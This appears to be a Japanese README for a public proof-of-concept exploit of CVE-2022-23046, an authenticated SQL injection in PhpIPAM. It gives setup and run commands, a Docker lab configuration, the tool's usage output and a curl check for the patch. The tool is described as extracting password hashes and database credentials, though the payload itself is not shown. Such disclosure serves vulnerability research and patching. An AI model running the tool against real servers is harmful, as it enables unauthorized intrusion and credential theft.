
CVE-2022-23046の概念実証エクスプロイト。PhpIPAM v1.4.4における認証済みSQLインジェクション。edit-bgp-mapping-search.phpエンドポイントを介してサーバ情報、SMTP設定、ユーザハッシュ、データベース認証情報を抽出します。
元の発見と手動PoCは Fluidattacks によるものです:
PhpIPAM v1.4.4 では、認証済みの管理者ユーザーが app/admin/routing/edit-bgp-mapping-search.php を介したサブネット検索時に "subnet" パラメータにSQL文を注入できる脆弱性があります。
このPoCは以下のような情報を取得するための簡単なSQLインジェクションを実行します:
一部の情報はバックエンドからも取得可能ですが、ここでは1つのクエリですべての情報を簡単に取得する方法として追加しています。ご自身のペイロードを自由に追加/削除してください。
より高度な方法としては、独自のペイロードを作成し(res.payloads内)、Burp Suiteまたはsqlmapを使用してください。
git clone https://github.com/jcarabantes/CVE-2022-23046.git
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python CVE-2022-23046.py -h
version: '3'
services:
phpipam-web:
image: phpipam/phpipam-www:v1.4.3
ports:
- "8888:80"
environment:
- TZ=Europe/London
- IPAM_DATABASE_HOST=phpipam-mariadb
- IPAM_DATABASE_PASS=my_secret_phpipam_pass
- IPAM_DATABASE_WEBHOST=%
restart: unless-stopped
volumes:
- phpipam-logo:/phpipam/css/images/logo
depends_on:
- phpipam-mariadb
phpipam-cron:
image: phpipam/phpipam-cron:latest
ports:
- "8889:80"
environment:
- TZ=Europe/London
- IPAM_DATABASE_HOST=phpipam-mariadb
- IPAM_DATABASE_PASS=my_secret_phpipam_pass
- SCAN_INTERVAL=1h
restart: unless-stopped
depends_on:
- phpipam-mariadb
phpipam-mariadb:
image: mariadb:latest
environment:
- MYSQL_ROOT_PASSWORD=my_secret_mysql_root_pass
restart: unless-stopped
volumes:
- phpipam-db-data:/var/lib/mysql
volumes:
phpipam-db-data:
phpipam-logo:
python CVE-2022-23046.py -h
___ _ _ ____ ___ ___ ___ ___ ___ ___ ___ __ _
/ __)( \/ )( ___)___(__ \ / _ \(__ \ (__ \ ___(__ \ (__ ) / _ \ /. | / )
( (__ \ / )__)(___)/ _/( (_) )/ _/ / _/(___)/ _/ (_ \( (_) )(_ _)/ _ \
\___) \/ (____) (____)\___/(____)(____) (____)(___/ \___/ (_) \___/
Vulnerability discovered by Oscar Uribe
PoC author: @javicarabantes
usage: CVE-2022-23046.py [-h] [-d] [-q] --url URL --user USER
optional arguments:
-h, --help show this help message and exit
-d Debug output
-q Do not print the banner
--url URL phpipam url: https://ipamserver:8081/
--user USER admin user
python CVE-2022-23046.py --url http://localhost:8888/ --user admin

このPoCは phpipam のバージョン 1.4.3、1.4.4、1.5 でテスト済みであり、正常に動作しました(1.4.5 未満に限らず)。 phpipam の GitHub プロジェクトを確認したところ、コミット 4b764b9cb236d1a4a06fc8ad9a93b306b3f5c04d はバージョン 1.5 にも影響を与えていることがわかりました。
CHANGELOG にアクセス可能で、この修正に関するコメントが含まれているか確認してください。含まれていない場合、phpipam サーバーは脆弱である可能性があります。
curl -sk https://phpipamserver/misc/CHANGELOG | grep "edit-bgp-mapping-search.php"